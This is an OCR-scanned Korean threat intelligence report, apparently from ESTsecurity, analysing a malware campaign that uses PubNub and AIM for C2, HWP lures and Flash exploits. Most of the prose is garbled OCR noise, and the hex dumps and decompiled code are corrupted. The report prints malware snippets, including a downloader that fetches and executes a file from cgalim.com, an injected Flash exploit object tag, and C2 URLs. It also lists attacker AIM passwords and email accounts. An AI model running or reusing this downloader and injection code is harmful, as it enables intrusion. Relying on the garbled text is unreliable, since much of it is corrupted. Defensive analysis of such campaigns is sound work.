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am | _LinkDoc
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<Used>|Stream |Sect iond
aylc.exe

MOU WORD PTR DOS: CEDI+Em

(02 3] 2ot T2 O Qakst 24 52
S HH0|| M2} 2ot D= o2 2FEe AET = O HAIE AN 7t s SX[ok| ==, Zl

S 7|HI02 REF FEIIAIN= Antpdb 2h= EE H|O|EIE 2 5= USH. 53], SZA= Z2(Rocket)0I2H=
71 O o

OD2HE ZSH0IN M HE AZEE XEHCZ MESHL = s &+ USLIC

— E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb
- E:\project\windows\Rocket\Ant_3.5\Ant\obj\Release\Ant.pdb

Q] E. |

O B0 EF7ES BB B Th tii indontRocker
5C 41 BE 7475C 41 70 B375C 50 75 6276E 75 B2 41 #Antiiip iHPubnubd
70 69 5C 6F762 6A 5C 44765 62 75 6775C 6E 65 74 pifiobiWDebugnet
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o vl il g

O] E= ;= dX|=l= R 72| D= UM E SEoA AEEl= 0] 2iRl=k=H|, JH 7|2 ETF=0d=
PAPAZ}= APt ZRHSLICE 12Ut OFHXIS 2|0[Sk= S=0{2 SEE7|=BABA 7+ ARBEL Q! LIEf

t=0| 0IF 7[2e= FEJE I SAK= =0 FA| 21017t 02 7Isd= EXMfolk= St HAVLE =+
USLEL.

1lea ecx, [ebp+pszPath]

push

push

push

push oFfFset aHaizi | "Haizi" Character: Chinese Simplified
mou edx, [ebp+var 214] Pronunciation: Hanyu Pinyin
push edx (Mandarin = Standard Chinese)
call sub_ 4A3SEQ »

mou eax, [ebp+uar_214]

push eax

call sub_4A36F0
1lea ecx, [ebp+pszPath]
push BCH

call sub_ 4A3IBEAD

add  esp, haizi
pop edli

pop esi

mou ec®, [ebp+uar_ 4]

®or ecx, ebp

call @ security check cooliel@hy

dictionary.hantrainerpro.com

PubnubDemoForm. PAFPA

PubnubDe aorm.HA& 2|

PubnubDemoForm. YERE [OW =

PubnubDemoFarm.

FubnubbemoForm. m_nBuf

PubnubDemoForm.m_st rCanfigPath JGetDirectoryMame molw. GetEntry

FOI'

(121 4) £20{ $2E7| HH0| H71 OPMTC L

[.I:I:|

O|ZH 2xlE AT == 2ot inl 8 DS 2=l S3=t AFES AR UM, 0] 28 T2

ol—i_ O

desktops.inil LIUHS 7HX| 1 AOH, FIOFH SZS AMEHH BHMO(C2) Mt STt R0IM LISk ELIC

public void SetPubnub(stringf] strAr)

{
if (strArr.Length 1= 7)
{
retum;
}
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for (inti=0; i { strAr.Length; i++)

{

strAri] = this.calcXor(strArdi], 23);

}

this.m_strChannelNameTmp =
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SZRH= 07 |ME Liv)in' AES AKRoH=D), 0] B2 A
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Liwin' &G = Lot H340| EXlok=tl, S=01=
HH<0 I%O Lt SEMHI?:I(HIHE ARZELIL.

=

71E30| o=Xo=

ol7| flet WS

TC ololls S SlBTis CiY

53 21 QIRIHATIN EME R

H L_=
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strarrfi] calckoristrarelil, ¥ XOR 0x17

J_strChanne | HameTnp = strarre[1]:
wonf igurationg )
_Origin{strarr[0] J;

ot Ui d strMyIn
_ReconnectionPali
Pubnublemo n. pubnub = Fubnub
PubnubDemoForm. pubnub, AddL istenert
)

= O =
| x
& C |®Fce gz cokr desktops.ini :
gd3gysdydtuz
[~b]~y

dbu it ra¥a¥r . $%: Aqud &8 Atusa” b ngsrd. St

ghust: R oudc & v Ru Bl Bl ok

drt st YR CMEZ Y PYeZC] DM~ 'Y [Py S eHCE ™ MG "Mz YRY |
tg:t FGER™{d s g wrid]s}

ERE

nooooogo | 70 73 2E 70 BE 64 73 BE ZE 63 6F ED 14 1D 4C B9
nooooolo | 75 44 69 6E 1A 1D 73 75 62 2D 63 ZD 66 32 BE 32
oooooozo | e5 39 33 32 2D 38 66 62 31 ZD 31 31 65 38 2D B2 = = =
nooooo3o | 64 66 35 2D 33 36 32 31 64 65 33 39 38 32 33 38 | dfS5-3621de=e398238
nooooo4o 1A 1D 70 Y5 62 2D 63 2D 3 30 30 32 30 62 62 33 | . pub-c-70020bb3
noooooso | 2D 31 39 39 el 2D 34 31 35 31 2D 62 37 31 63 2D -1992-4151-b71c-
noooooen | 62 34 36 33 36 66 30 36 62 32 34 34 1A 1D 73 65 b463Ef06bI44 . ==
nooooo?o | 63 2D 63 2D 4E 32 51 30 54 64 4D 30 4E 64 41 74 c—c-HZQ0ZjMONjAt
nooooogo | 4D 54 44 68 54 69 30 30 4E 32 59 77 4C 57 45 32 | HMTJhZi00H2YwLWE?Z
pooooo9o | 4E 44 41 74 59 G54 BE 77 GA 57 45 35 B4 6D 59 77 | HDAtVTUwZIWESZmYw
poooooAD | 4E 47 4E 6B 14 1D 63 69 70 2D 63 2D 51 50 57 4F | HGHk .  cip—c—(QFUWO
noo0ooBD | 45 49 61 6C 73 6B 64 BA Y1 70 77 BF 65 69 61 6C | Elalskdjgpwosial
noooooco | 73 6B 64 BA 1A 1D 31 31 31 39 14 1D skdj. 1119 ..

p=.pnd=sn.com. . L1
wlin. .sub-c-f2£72

b Demo Project w PubMub Keyset W

[ 5]1aaS 7 [Et PubNub HERI0(C2) ALE 31
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2017 4 09 Holl= S22t 7|82 AL|0] T A7 AE H JAEUCE 0] SHM= HWP F2FH0| ARSE[R=E),
MIEt HIO[E7} 2018 ' 8 & FoAlLl X[HE2t SUSHA| ZAHELCE

ZZXI0|| LS ARET OLE FEE SUSHH| ARRO| S0, RTXIE M2 QRIGHD, 2= Qo) 3|AI5H= SHE=E
TIEN U= EHO| USLICE

------- SR [ p—

A ol I dou net-
2= N anmai net-

OFRE OG0 =7t #2817t B2 = dfaf@l&, =7h
ME

(22 6] 220l AIREI 0|HIY 31 =

320 AFBE b =2 icloud.exe’ TIYHE ALESHL, LHR0= ChS2t 242 PDB(Program Data Base)
FETt EXHLCE

- E:\))PROG\doc_exe\Release\down_doc.pdb

Sifef PDB A2 #5 QhRlo] izt Y CIUHA| ZXHoiO, S22 AJZIZ 01 AOL HIAR(AIE 0/5H=
20131 £7 I SEELIC
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AOL HjiIXZ Stlotd =7|HE 0|2 er=2| &l AO|ES ool Stlok= = Tisfolal, 0[20k=

AEZIH|0|M(Streamnation.com)S S5 HAK|0] WAL ARREILILCY

A SHE A 7I0ll= F2 eb=, Of=, &=, 2k, 2IAI0F S| O|H[ FEE ASEILC

71 Ck20ll= TIE2FRE(pcloud.com)Lt QFEIA(vandex.com), E22IA(Dropbox) 52| SRIRE MHIAS XX o2
SZMOM, Z[Z20l= laaS HAI0|H, AFSQIESI(I0T) S2HRE CHIO|AS SHLIS| AIARIOE MS et I ALSE

=+ U= AR HEST E3EQ! IEHE(PubNub) MHIAS SAIKH0 HAIO = AZSH USFLICE

-K:V)pick\ie\test.pdb

- D:\))pick\doc_exe\Release\down_doc.pdb
- E:\))PROG\doc_exe\Release\down_doc.pdb
- E:\))PROG\doc_exe\Release\drun.pdb

- E:\)PROG\ie\Release\drun.pdb

- E:\))PROG\Upload\Upload\thunder

- E:\))PROG\waoki\Release\runner.pdb

- E:\))PROG\waoki\Release \Kltest.pdb

dd offset  security cookie ; SecurityCookie
dd offset _ safe_se _handler_table ; SEHandlerTable
dd s 3EHandlerCount
ation (IWAGE_DEBUG_TYPE_CODEUIEW)
db °R5D3°

: CU signature
dd ; Datal ; GUID

dw s Data?

dw s Datald

db ] ] ] ] ] ] ] N Datal

dd s Age

db 'E:W))PROGWdoc exeWReleaseWdown doc.pdb',8 ; PdbFileHame
align

db

db

(32 7] of4 T2 724 LjEi0f) ZXH5H= PDB HE 24 51

0| S0l AFRE BHNI0(C2) MH= endlesspaws.com’ EHQICE 0| SAEE= X2 AL 3201 O|EE HE

USLIE
PI7] ARZHAT) ZHOIM 0] SZ0H| AEE MHE S SARI2| FAF I AHIE ZABHEH R85 28
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ESRCE= O] =H|QI0] 2015 2 S ot=2] HT & St Ak A 2RISIFACH, 2017 H & TUS
HESHAL DI SZ0E ARE S7{E SIEJUSLICE,

HE0| C(VE-2017-8759 FoiXg Est ZAT —’.'EXH°”—| Ch 11 & UHE S=o| HOrRAH 2l
BIME(Tencent)liN| 2215 Solf 70t HE USLICE

2017 & 2 EOll= T2 FAL 2I- ARIS0| ZAEU=0], SA CHSE 20| 25 QA ES ZeiE 2fot
OFHZI0|2k= LIBCZ SiEs AIF =S RESH=E endlesspaws.com =MIRI0| OIZE|7 = RESLICH,

0 CjE2F I11+|| :”’”"”I” ws.comjvog/download.
5 1 OH2TKE) 53 = meprtem S AL SetM .
[ 28==.ap

CLEZE= 22k 201 7/0217 ~ 201 7/05/18

-—-Original Message-—-
From:

To:

Cc:

Sent:

Subject: [EX|AIENZEE I
DI-E Ax|

iz
[
i
[
HI
=
=
HL
fo
0
Lﬂﬂ
0
0
e

OFX| 'QHZ] zip f% || 0] HESH ZAXH HO|X|TE AX|2E 'endlesspaws.com’ EHIQIGIA LSS
HX[ol=E AZol T2 UCH, HWP ZAXE SISt O|SSEAIC| EXE ASHEIRIS] QHIEA0| Hte|0] JUSLIC
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https://s.tencent.com/research/report/274.html
https://s.tencent.com/research/report/274.html

o vl il g

SZXt= OIS2HHAIZ ?[HolTHA, OI0I2: ALY SlaAS sl SUE7|0] X2 HWP Ifgz H0|=5
S

foll FRASLICH.

EX 16 TI4- TEES 22| XOR0X55 7|2

0

ZIP LEMMAS RESH=H| ASE 2 M|t OV IK|Z EXE Soligd otEIfUR LSt 22 FAZ B&ES
A|E=oA| ELE,

n

- http://endlesspaws.com/vog/tan[Johp?fuck=x
— http://endlesspaws.com/vog/denk[]zip

ULy a;

uLh 0x250863C;
ULt 0x2F 0678 ;
ULy = Bx3EB63B;
ut3 0300631
uL2 Bx7AB632;
ut1 8x3A0623;
ULl = Bx7AB638;
[THLY 0x3AB636;
ulhs Gx7BA626 ;
ul7 Gx220034;
ulh 0x2500626;
uhs Gx2600630;
Ul = @x3908631;
ul3 Gx3B0A630;
uhy2 B 7AB67A;
vl Gx6FA625 ;

UL = Bx218821;

u39 8x3D;
21 Bx22;
do
{
*#{#U30 + u21) "= BxG5u;
-—-u2i;
H
while { u21 >= 8 );
u2? = {{const WCHAR =)&uS58, {size_t =)&nHumber0fBytesToWrite);
if ( nHumberOfBytesToWrite > Bx3E8 )
{
v23 = CreateFileW{&pszPath, @xCOOAAAAA, 3u, A, 4u, Ox80u, A);
uz2h u23;
if ( v23 *= (HAMDLE)}-1 )
{
[0 9] Y=3tE (2 HI0|HE Hetoh= ZE 31
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2712 CFRECEE)= 'denk zip IS ZOZ H7(0f| ZIP SAlQ| QIEMQIZ HO|KZE ARIZE HWP SAlQ|
EAIUULCY,

2S EXE SAOZ RIEl= oA L= LR KR HWP ZAE Elet = ZAgE M 204, A

b

I= 24 HWP ZME L2200

>
==
=2
b
>
0%
1A
ro
T
=
)

0
g
i
il
Ho
Iy
=t
HL
2
iZf]
r
R
_Q'E
Pal
o
o
rE
Rl
=
rir
-|\)|||

0]0] ZHFE A0 ZA7(2 2obd TS F7= dXlok= S0[et ARt = = USUC oiid SAIIIA0=
S0 AEE O|HIZ LHEt HX[oh= LSO ZEE|0] X104, TR AO[H 2FHat 2S00 X2 mio| 23
A2 Ofd o= HQLCh.

denk.zip' TH0jl= Default)Script ZH0| 24 AFZE FEZE MRISIF T BASEG4 FERZ QT E 98 DLL
IS QHIC|E SAloZ K51 QL7 ATFTE REA| C|FHSI0] 26| ELICH

oo 41 00 72 00 72 00 61 OO 75 00 28 00 29 00 .A.r.r.a.v¥.-{.)}.
3B 00 7D 00 3B 00 72 D0 &5 00 74 00 75 00 72 ;.}.r.r.2e.t.u.r
o0 &E 00 20 00 &2 00 3& 00O 34 00 2E 00 74 00 .n. .b.&.4...t.
6F 00 53 00 74 00 7Z 00 €% 00 eE 00 &7 00 28 o.S.t.r.i.n.g.(
oo 2% 00 3B 00 7D 00 3B OO0 7€ 00 €1 00D 72 00 .}.r;.}.;r.w.a.r.
20 00 &5 00 41 00 3D 0D ©E 00 &5 00 77 00 20 SE o= = T

oo 41 00 72 00 72 00 &1 OO 7% 00 28 00 25 00 .A.r.r.a.v.{.).
3B 00 &5 00 41 00 ZE OO 70 00 75 DO 732 00 €8 ;.e.A...p-u.s.h

(72} 10] SAIIR! 0|l TBIEI0] QU= O ATRUE T 43

BASEG4 FE7} CITEE(0] B 9K DLL It CHST 24 PDB Z27t BEHE(0] U0, & 67K 32
SFIOI(C2) Mo} SNS AI=SHA| ELIC

SO srvrlyscss F=E ARESREE, 0] F== et Ceo| EsHALLL XIFEOIA ZALE HE USLICL,
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¥
if { strstr(:: » "HTTP/1.1 288 0K} )

{
if  fstrstr(:: s Eerror</b>"y && ftstrotr(:: ., "Fail to") )
{
w22 = ctrstr(:: s | Erdnthrdn®) ;
w23 = w2z,
if ( w22 )
break;
¥
¥
(5);
Sleep{ 8x288B8Buj ;
¥
if ( strtol{v22z, 8, 16) )
break ;

(5);
Sleep{8x9C40u} ;
¥
if { strstr{v23,|"srvrlyscss") )
break ;

(5);
Sleep{8z2AFCBuj} ;

(32 11] S2I0]| ARRSH= 'srvrlyscss AEZIS 71xI FE 51H

- seline.co kr/datafiles/CNOOC[ Johp
—www.causwc.or.kr/board_communityO1/board_communityO1/index2[.Jphp
—www.kumdo.org/admin/noti/files/iindex[Jphp
—www.icare.or.kr/upload/board/index1[Jphp

— cnjob.co.kr/data/blog/iindex[Johp

- notac.co.kr/admin/case/iindex|.Jphp

2|1 SEAM XIS 2ol MBSt FEAMutex) ZEE taihaole9366 0|2k= AEZO|
AEEIU=E, taihaole'= ST T) F=H7 |2t UX|oHH 2|0j= 1 ECf SILICt

BRI IPISE| S0/ YRBT| WAS U XEE ASSII0D], 0|20l Cisst B30| ZXHEILIC

ESTsecurity


https://chinese.pandarow.com/dict/%E5%A4%AA%E5%A5%BD%E4%BA%86-taihaole

H=27} Het 714

T3 65 6C 69 6E &5 2E &3 &F 2E 6B 72 18 18 1% 18 seline.co.kr....

1g 18 18 18 77 77 77 2E €3 &1 75 73 77 &3 2E &F ....wWwwWwwWw.Causwc.o
T2 2E 6B 72 1% 1% 18 18 77 77 77 2E 6B 75 6D 64 r.kr....wsw.lkamd
oF 77 la I w T o S W .
B reatetutexit(o, 1, Lltainaoreosss ] SNSRI
63 u56 = : g2 12 cnjob.co.kEr.....
18 18 { SOCKET) 72 18 ....notac.co.kr.
15 1o e e = S 60 . owwws - fdatafil
65 es3/CHOOC.php. . . .
12 1ot A ] | ELlE2 12 .. i i a e
18 +a=_ 1. EMSF B3 L....... fboard c
6F taihaole Dmmanityﬂlfbna;d
5F i Vﬁﬁ'gﬂﬂd _community0l/ind
65 exZ.php. admin/n
6F oti/files/iindex
- viguz++1["=_ex18u;] DD e
18 while ( v2 < (DN - . °F .. ...... /upload/
62 board/indexl.php
18 {const char *)s; NS
12 a; - fdata/bl
&F ({const char =)s5}) } g8 18 ogfiindex.php...
1 1O | A 1 & 18 ...t i e i annnns
18 1% 18 18 8 18 18 18 2F &1 &4 6D 69 6E 2F 63 ........ JSadmin/c
6l 73 65 2ZF €% &% 6E 64 &5 T8 ZE 70 &% T0O 18 18 asefiindex.php..

[0 12] QIFYE0] U= Q22 A FEHT | FEIA 51

2018 01 Holl= 7|Z ot= 22t 2O Z R M|t CLi2A|, =2 3 Het D= 1O = fFo

FRE= 27t 2RIEU

SAKI= $H29| ¢l AO|E 'ebsmpi.com’ AO|EO| OFX| S=2] 360 TOTAL SECURITY EQt 2 724 2 I|0| XX
QxS 71t SIHS I tolRSLICE

SAI 2Rl S=0IM 2 A B AO|ES| AATES A ARSOIZICH, LiR2EE= OTfUTofdo=z

HZol AFESIASLICE

CIRECR HAE FAE TS0 210, Free Download 23S 22I8t AL 360TS_Setup_Miniexe' I0| CIRE=
=[8u

- http://ebsmpi.com/ipin/360/down[Jphp
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& 360 Total Security: Free X

C | @1 ebsmpi.com/ipin/360 o7

6
@ 360 TOTAL SECURITY

Your Unified Solution
For PC Security and Utility

Download Free Antivirus and System Optimization

Free Download

Offline installer

Simple yet Powerful

Protection

[22] 13] 22| ‘ebsmpi.com & AO|ES ol siHS FII5t 25
Z=20| Hot T2 TAxE MIAUHB60TS_Setup_Miniexe)s KR6HT QUM 0102 2|AA HA| AN Mot

D273 2s TItZ =85 ASotRASLICE 22|i] =7PHQ1 Rl 7[H oFdIi0] REZ5240] M2t EXIA =
ECt

ESTsecurity
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Ny =
e &

360T5_Setup_Mi 360T5_Setup_Mi
ni.exe ni.exe
Ytz opdntE
O3 14] 5= BOII2 MO Z JEISH QML HAI! H|w

~ http://ebsmpi.com/ipin/360/Ant_3.5[Jexe (MD5 : ff32383f207b6cdd8ab6cbcba26h1430)

— http://ebsmpi.com/ipin/360/Ant_4.5[Jexe (MD5 : 84cbbb8cdad90fha8b964297dd5c¢648a)
- http://ebsmpi.com/ipin/360/desktops.Jini (MD5 : ab2a4537c9d6761b36ae8935d1e5ed8a)
— http://cgalim.com/admin/hr/templJset (MD5 : fa39b3b422dc4232ef24e3f27fa8d69€)

A1 '360TS_Setup_Mini.exe' I 'cgalim.com’ =EHIQIIA] temp.set’ TIUHO Z MX[5HA| El=0, 0| ZZ2=
SI7| ArSH ZIGHAILO| = SSHA| AFZELICH.

[eax+4], edz
edx, ds:dword 413EEC
[eax+8], ecx
ecy, ds:dword 413EFA
[eax+ ], edz
dx, ds:word 413EFY4
[eax+ ], ecx
[eax+ ], d=
eax, [ebp+File]
eax ;ig
ecx, offset szUrl ;| "http://cgalim.com/admin/hr/temp.set’
sub_ 482078
esp,
; nShowCmd
; lphirectory
; lpParameters
ecx, [ebp+File]
eCH ; 1pFile
offset Operation ; "open”
; hund
ds:ShellExecutel

[22! 14-1]'360TS_Setup_Mini.exe' &} I MX| Al S1H

ROl 71H19] 27| gnfUo= TSt 22 PDB 20| ZetE0] U, 2 HES0M= L5 A= 0]
USLICL,
ESTsecurity
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- E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb

- E:\project\windows\Rocket\Sys—-Guard\Serviet-standalone_Guard\Release\Servlet.pdb
— E:\project\windows \Rocket\Sys—Guard\Chutty_Guard\Release\Chutty.pdb

— E:\project\windows\Rocket\Servlet\Release\Servlet.pdb

— E:\project\windows \Rocket\Ant_4.5\Ant\obj\Release\Ant.pdb

ESRC= EAS Soll A4 AN Fa D=3 I CHE sHIAH0IM CF2E=E0l O[ZXLE oltiz X0l
(o]

O|I AF2Sk= C2 AME{7t 7|& QIEZ0|= 2HM(1.apk) RIER} HIET QI 2 bitcoin-trans.doc (MD5 :

8ab2819e42a1556ba81be914d6¢3021f) A-EMAUNIA SR IE SAEQ} QHEL|C

— http://cgalim.com/admin/hr/hr{.Jdoc (MD5 : 24fe3fb56a61aad6d28ccc58f283017¢)

~ http://cgalim.com/admin/hr/1[Japk (MD5 : 9525¢314echbee7818ba9a819edb4a885)

- http://cgalim.com/admin/hr/templJset (MD5 : fa39b3b422dc4232ef24e3f27fa8d69€)

cgalim.com' =H[Q19] A= 1 =4 /hr/ 2= /1211me/ FAME HE MA0| KL E 0|20
ZEXHRILIC

S X2 2015 31t 2016 Holl= S R SE SUHE ot AET & 20| A USLIT SA0
SZXA=2 SaiA S2010] FfEE HEHC= SEUSLICL

SIS A AO|EL} HERH 2 AD[ESO0| HEHOR SUEIRIOM, 0] 22 47H2I7E KISELILL

ChS SIP12 AR SHZIE B AJOIE0] 718l ot QBHMEQILTt
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£ Zldquo; Wi Folmsh cpoer fERds {4 I FRUENE &lsquopFds EEol@rsquo; TEF SEHCErdquo; 34 &ldguoFO

EHE 384Tz THE 20 22 &1smm, YHEErsquo;® 228 = 79 HIs FoOUE 245 AUHZ YS&rdquo;Z HA ¥

Fa TECD . «/pr<p>I8TM &ldquo TR0l = HisTo TE Zsgps He gns o ¥o CE &lsquopEdds TPrsquoj s W
ol Yeid o %o #=xH #o&rdquo; EA aldquo ZHE2 =, +9 0H2 HES #F 0 S0 TOM(OE A2 o2 HEEs

Tife mHEe EAI0h nEdg&rdquo;d HEEC pr<prFoifte 23 2UEL R1dquoFUES 2lsquopEE OZo HMY Ers § %

ey os|m Tos g fitlarcgup X SEel HAg HlUScerdgug @4 21dgygTEOSL gl-gypOiols 2 =2 =nn HES0E F

EY BT 07 Hd&rsquojZ BlotFAHEd&rdquo; 2 EES. &nbsp; &nbspi<object width="8" height="@"
type="applic atl n/x-shockwave-flash" ><param name="src"

value="http:/ /e 11t acommunications.com/wp-includes/main.swf" f»<fobject»< p>

<div style="y 1dt|'|. 188%; text-align: center; margin: 2@8px @ 48px;'>

€9 73 T4 €5 6E €5 T2 17 5F 5F €7 &F 5F 74 6F 5F 1istener. go to
64 65 &6 €% GE €% 74 €% ©F €E SF €8 €5 eC 70 04 definition help.
66 69 &C &5 03 70 &F 73 2B |4"." 3L 5C 46 6C 61 73 file.pos+cHNIEE
£8 44 65 76 €5 6C 6F 70 €9 6E £7 5C €3 68 72 6F WIESSENNssRilsgTeisbds
6D 65 SF €9 65 5C 73 72 63 5C 45 78 70 6C 6F 69 wisA¥hJedBob4auNali

Z2E 61 73 03 34 38 35 06 53 70 72 €9 74 65 0D p@.as.489.5prite.
66 6C &1 73 68 2E &4 €% 73 70 6C €1 7% 06 4F €2 flash.display.Cb

[22! 15] HEE & 320 AZE Z2A| S2(010] FoFY A= 51

324 222 2015 3 DA CVE-2015-5119, (VE-2015-0313 £[A S2A| E2[0]0] F[FH &7t OFL|2 O 2|0}
Hacking Team A SHZC = fEE E2iA| E2[0]0] FLERI CVE-2015-5119 FFH S= At&¢et Bt JISLIC

72|10 0|52 2017 E SV R H 7PIRE Mk S5 28l 34 UeAIE HEstil (VE-2018-4878
SciAl S2|0]0] Zero-day FFH S4= +Aol | SIRSLIC

— G:\FlashDeveloping\mstest\src (CVE-2014-8439)

~ G:\FlashDeveloping\ 20148439 \src ((VE-2014-8439)
- G:\FlashDeveloping\Main\src\ (CVE-2015-0313)

~ G:\FlashDeveloping\2015-3090\src (CVE-2015-3090)
- G:\FlashDeveloping\20153105\src (CVE-2015-3105)
- G:\FlashDeveloping\20155119\src (CVE-2015-5119)
—G:\FlashDeveloping\chrome_ie\src (CVE-2015-5119)

S4K= o YEE & 32 S0 S2A| 2200 FAHESWHO| 2l CIREEE 7+ MHT ST ARRKL AE
ZAEE (User Account Control)2 S5t 22| KHHGH AIGHY| AlTieE AL oF 5 2 5 71} 6IECIAT X LFES
E

T2 OfX| B TRMAZ KXY 22|Kp 2SHCMD HZOZ QHMTACE Rifs
=]

H N3 B2 QESH=G) OlTf AZ3t
SIIH7| 5 U7} SSI00K AISSHe P24 HRE SOESMTRMA, TR0

2 SUSH S U 4 YBLICH

J::
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A2

AIM(America Online Instant Messenger) Oscar Z2EZS

AIM Hl&IX2| At =S
LEoh =710 AE2

USLICE B

&3 Microsoft Windows

===

SIS Cl23 27 Lo EEL

&

> HE Z2ME AEE)

& LSO CHAl EAIA)
CH2 20 HOj [A3 Q57 LMsH
% Q&L

ZEHH O3 S Es L

CA30) 92 22T % 247 £48 .

() REMS BE 27|7] =P
ZA =3
[JA3 252 QI8 [A30) 9= 25 208 0Y 3 27 24502 0% §O|HE
A #501500F SHL|TH
SE7 LT [|ATE?
Q8= s SCOATE OET ZaULGL
C|A3 0|2 SAMSUNG HD1035)
=EE Chw
(12 16] £3H Z4TE 0] HF0| &=l 7t HIA|X] & sfH
EMYIAO|T L] ZISHE HEdtr UELICE 71 =7|0l= AOL(America Online) HIA X2

9

—fastcameron13 / powercooper00 / dPWIs&Rkapfns19 (FFIRIJHHIZ 19)

—F:\Program\svr_install\Release\svr_install.pdb
— F:\Program\Aol\Release\ServiceDIl1.pdb

ESTsecurity

2 0125 ZHOIS 233

=2 TOM

Soff UEEIE BYS FI Y|, 2791 Y57} 814
3t PDB Z20fi= AOL ZLI0IM WS 242 & 4 UL
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S= EO[E0e= A=
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dword_182F22CC = dword _1881536C;
dword_162F2208 = dword _18615378;
byte 182F22D8 = byte 1B615378;
dword _182F22D4 = dword 18815374;
vE = B;
do
| =({ BYTE =)}&dword 182F22CC + ub++) ~= @x57u; |
while § vA <€ 13 );
dword_162F22EE = dword_18815358;
dword 162F22EA = dword 1881534C;
dword_102F22F6 = dword 18815358;
dword_182F22F2 = dword 18815354;
vl = B;
do
*{{ BYTE =)&dword 1B2F22EA + ui++) "= Bx57u;
while { vi < 16 );
result = B8;

do
ag24882Gg[result] "= Bx57u; ° .
++result; ,&‘a[m . fast cameron13 ¥

{

2D DE SF CE D2 C8 04 DD A€ DE OR .~}.&-BYICE.T!m.
00 00 OO0 OD 00 00 00 10 00 00 00  veveevenneennnns
34 38 38 27 32 25 67 €7 00 00 00 '8 2%488'2%gg...
00 00 00 00 00 00 00 00 00 00 00  vevuerenneennnns
24 71 05 3C 36 27 31 39 24 €6 6E 3.1.:5g.<6'195fn GROUP CHATS
00 00 00 00 00 00 00 00 00 00 00  vevierenneennens
36 3L 32 25 38 39 66 €4 00 00 00 165$446:2%39fd...

Start or find a chat # D D
Al @

CONTACTS

Add Google Talk Contacts ..
XOR 0x57u =
¥ Buddies
TR 89 CB 9% 85 9F 53 B8R F1 8F 5D QA*F*zRE™ YS55n.] powercooper0d AM @
57 57 57 54 57 57 57 47 57 57 57 WWWWZWWNZWNWWGCWWW
63 6F €F 70 €5 72 30 30 57 57 57 | powercooper0d0 v Family
57 57 57 5T 57 57 57 57 57 57 57 WWWWWWWWNWWNWNWN v CoWorkers

73 26 52 6B €1 70 66 €€ 73 31 3% dJPfWlsiRkapfnsls =
57 57 57 57 57 57 57 57 57 57 57 v Offline
€1 6D 65 72 &F €E 31 33 57 57 57 |fastcameronl3

[T 17]AM HXKNE 2 2 AKESH 4= 31H

AM HANZ SIS A T SAX= 2700 A0 5S Sofl 4t £ Y=ot HAKIE £ OE AE
AEXONA ES0HA ELIC,

2N e 82 dRE L, 371 88 S Y=ot HAMRPHHSEA =|H, Cifet AFESS Arget Ht UL

SHAXNE2 EHOZ CE1t 252 aol.com, hotmail.com, yahoo.com, India.com, inbox.com, gmail.com, zmail.ru
A’SS0| E£XH5HH, 0|2/0f|= CiFst HESS MIRlGH AFRSISSLICL

—allmothersorg11@hotmail.com
- allmothersorg@hotmail.com

- bluelove@india.com

- cmostenda01@yahoo.com
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- cmostenda102@yahoo.com
- cmostenda103@yahoo.com
—daum14401@zmail.ru

- dapplecom2013@yahoo.com
- eatleopard00@inbox.com

— fastcameron00
—fastcameron11
—fastcameron13

— fatpigfarms@hotmail.com

- fatpigs9009@hotmail.com
- friendleopard00@aol.com

- ganxianguO4@hotmail.com
— ganxiangu07@hotmail.com
- greatvictoria84

— greatvictoria85

— greatvictoria86

— greatvictoria87

— hatmainman@hotmail.com
- hatwoman40@hotmail.com
- jinmeng288@gmail.com

- minliu231@gmail.com

— Okokei@india.com

- pghlsn333@gmail.com

- prettysophia00

- prettysophia47

- prettysophia48

- prettysophia49

- prettysophia50

- prettysophia51

- prettysophia52

- prettysophia53

- prettysophiab4

— prettysophia55

- prettysophia56

ESTsecurity
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- prettysophia57

- tosarang87@gmail.com
—winpos1000@zmail.ru
—winpos1001@zmail.ru
-winpos1002@zmail.ru
—winpos1003@zmail.ru
—winpos1004@zmail.ru

- Xiangangxu88@hotmail.com
- z2um36084@gmail.com
- zum36084@zmail.ru

- zum36085@zmail.ru

2016 H = 3ZXk= ‘Zum36084@gmail.com’,'zum36084@zmail.ru,'daum14401@zmailru’ S2| O|HIYS MG

2 HAEE O|HYS LSoh= X0| 2RI,

loA(Indicators of Attack) 7 [HQZ EAIE S1H S24XAk= OkX| Google ANE' ME 'zZum36084@gmail.com’ O|HYS

Y XS &+ UCH, MSFE 2iEs AE0I U= A 2IE + USLICL
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test1 - CHAIR] (HTML)

Q) O BOIS 2AFAILLR?

Google A’E El[<zum36084@gmail.com>|
test]

gr= AR zum36084@zmail ru; daum 14401 @zmail ru I

303 - OIAE] (HTML)

oS AstALLR?
Myong Lu <pghlsn333@gmail.com>
0303
L= ME I zZum36084@zmail.ru I ~
0303_zmail gif .
529 KB
Status From Subject Size Received
(] =1 9 Myong Lu 0308_zmail 1018K 08-Mar
O £ Google H & & test3 3274 29-Jan
] £ Google A B test2 327 29-Jan
O £ Google A& & test1 3274 29-Jan

02 18] SAE 0[HIYUS e = HAESH 3IH

20163 03 & 03 & E|AESH 0|0 0jjAt= '0303_zmail gif THAS HE0H UESH=H|, XOR 0x69 7| S2& 2 £
= 3tE EXE gAl0| ofgmeielLrt,

=53 opIRIS S HEE 0[S0t UYEIES MRS SF0| ZXGH=L, 010 3

7 K HSE|0] QUSLICE

0II

0|51t &3 A=EALL

- KLt

—WOOSEONG-PC

-T-PC

HE Soll= HElt 22 AES ®MAdk= EXHSk=H], SEIKO' HREIH2| ZR0= TR RoiXIEMHM
0| =1 UL 53], HWP —E—MEP' "l%”é.*é ArZe [ OFX[2f ZREAe] A} ZR[OHH,
175.45.178.133 O1o|m|2| A =T10fME SfQIE HE QUUELICH
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- Sxi¢i[stE]

— KIM[Administrator]
- JAMIE[Jamie Kim]
— DONGMIN[MinSkK]
-T-PQT]

—YONGJA-PC
—-USER

—Sec

— CRACKER-PC
—SEIKO

SEIKO A2 ZHE 271 7[=0= Chst 20| oifd ARBAP L3t Z2 MOIES E7457| ol 2245 =1t

2 QUL

Windows IP Configuration

HostName............ : SEIKO-PC
Primary Dns Suffix .......
NodeType............ Hybrid
IPRouting Enabled.......... No
WINS Proxy Enabled........ No

Ethemet adapter Ethemet:

Connection-specific DNS Suffix .:

Description............ : Realtek PCle FE Family Controller
DHCPEnabled............ ‘No

Autoconfiguration Enabled. ... : Yes

IPv4 Address............ . 17545.178.133(Preferred)
Subnet Mask........... :255.255.255.240

Directory of c:\users\SEIKO\Favorites\Links\mail
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150 126?5.url
